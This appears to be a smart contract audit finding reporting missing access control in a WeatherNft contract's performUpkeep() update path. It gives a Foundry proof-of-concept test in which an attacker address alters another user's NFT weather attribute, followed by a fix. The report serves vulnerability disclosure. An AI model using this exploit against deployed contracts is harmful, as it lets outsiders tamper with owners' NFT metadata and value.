[H-3] Unauthorized Weather Attribute Manipulation in NFT Metadata Due to Missing Access Control
Description
The WeatherNft
contract allows users to mint NFTs with weather attributes that can be updated over time. The weather attribute is meant to be updated through a Chainlink oracle and automation system to fetch current weather conditions.
However, the contract fails to validate who can initiate weather updates in performUpkeep()
and lacks proper authorization checks in _fulfillWeatherUpdate()
. This allows any external actor to trigger weather update requests for NFTs they don't own and subsequently alter their weather attributes with oracle responses, effectively manipulating the NFT metadata without owner permission.
function performUpkeep(bytes calldata performData) external override {
bytes32 _reqId = _sendFunctionsWeatherFetchRequest(pincode, isoCode);
s_funcReqIdToTokenIdUpdate[_reqId] = _tokenId; @>
emit NftWeatherUpdateRequestSend(_tokenId, _reqId, upkeepId);
}
function _fulfillWeatherUpdate(bytes32 requestId, bytes memory response, bytes memory err) internal {
s_tokenIdToWeather[tokenId] = Weather(weather); @>
emit NftWeatherUpdated(tokenId, Weather(weather));
}
Risk
Likelihood: High
-
The performUpkeep()
function is externally accessible and can be called by any address without access controls.
-
The contract stores a clear mapping between request IDs and token IDs in s_funcReqIdToTokenIdUpdate
, making it trivial to track which requests correspond to which NFTs.
Impact: High
-
Attackers can manipulate the weather attributes of any NFT in the collection.
-
If certain weather types have more valuable properties or interactions with other systems, this vulnerability allows exploitation of economic incentives tied to the NFT's weather state.
-
The integrity of the entire NFT collection is compromised as token metadata can be arbitrarily modified without owner consent, violating a fundamental expectation of NFT ownership.
Proof of Concept
Add the following test and modifier to the testing suite:
modifier withMintedNftInitialSetUp(address _user) {
string memory pincode = "110001";
string memory isoCode = "IN";
bool registerKeeper = false;
uint256 heartbeat = 1 days;
uint256 initLinkDeposit = 0;
vm.startPrank(_user);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{
value: weatherNft.s_currentMintPrice()
}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (
logs[i].topics[0] ==
keccak256(
"WeatherNFTMintRequestSent(address,string,string,bytes32)"
)
) {
(, , , reqId) = abi.decode(
logs[i].data,
(address, string, string, bytes32)
);
break;
}
}
assert(reqId != bytes32(0));
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(
WeatherNftStore.Weather.SUNNY
);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
vm.prank(_user);
weatherNft.fulfillMintRequest(reqId);
_;
}
function test_missing_validation_in_fulfillWeatherUpdate()
public
withMintedNftInitialSetUp(user)
{
uint256 tokenId = weatherNft.s_tokenCounter() - 1;
assertEq(weatherNft.ownerOf(tokenId), user);
assertEq(
uint8(weatherNft.s_tokenIdToWeather(tokenId)),
uint8(WeatherNftStore.Weather.SUNNY)
);
vm.recordLogs();
vm.prank(attacker);
weatherNft.performUpkeep(abi.encode(tokenId));
Vm.Log[] memory updateLogs = vm.getRecordedLogs();
bytes32 updateReqId;
for (uint256 i; i < updateLogs.length; i++) {
if (
updateLogs[i].topics[0] ==
keccak256(
"NftWeatherUpdateRequestSend(uint256,bytes32,uint256)"
)
) {
(, updateReqId) = abi.decode(
updateLogs[i].data,
(uint256, bytes32)
);
break;
}
}
assert(updateReqId != bytes32(0));
assertEq(weatherNft.s_funcReqIdToTokenIdUpdate(updateReqId), tokenId);
vm.prank(functionsRouter);
bytes memory maliciousWeatherResponse = abi.encode(
WeatherNftStore.Weather.WINDY
);
weatherNft.handleOracleFulfillment(
updateReqId,
maliciousWeatherResponse,
""
);
assertEq(
uint8(weatherNft.s_tokenIdToWeather(tokenId)),
uint8(WeatherNftStore.Weather.WINDY)
);
console.log("Original weather: ", uint8(WeatherNftStore.Weather.SUNNY));
console.log(
"Weather after attack: ",
uint8(WeatherNftStore.Weather.WINDY)
);
}
This test demonstrates:
The update mechanism lacks validation of who can update the weather
Anyone who can influence the oracle response can change the weather data
The NFT's value/appearance can be arbitrarily manipulated
Recommended Mitigation
Consider adding an acces control modifier so that only the owner of the NFT can change it's metadata and add it to all functions that require it:
+ /**
+ * @dev Modifier to check if the caller is authorized to update the NFT
+ * @param tokenId The ID of the NFT being updated
+ */
+ modifier onlyAuthorizedUserForNft(uint256 tokenId) {
+ require(
+ msg.sender == _ownerOf(tokenId) ||
+ msg.sender == getApproved(tokenId) ||
+ isApprovedForAll(_ownerOf(tokenId), msg.sender) ||
+ msg.sender == s_keeperRegistry,
+ "WeatherNft: Not authorized for this token"
+ );
+ _;
+ }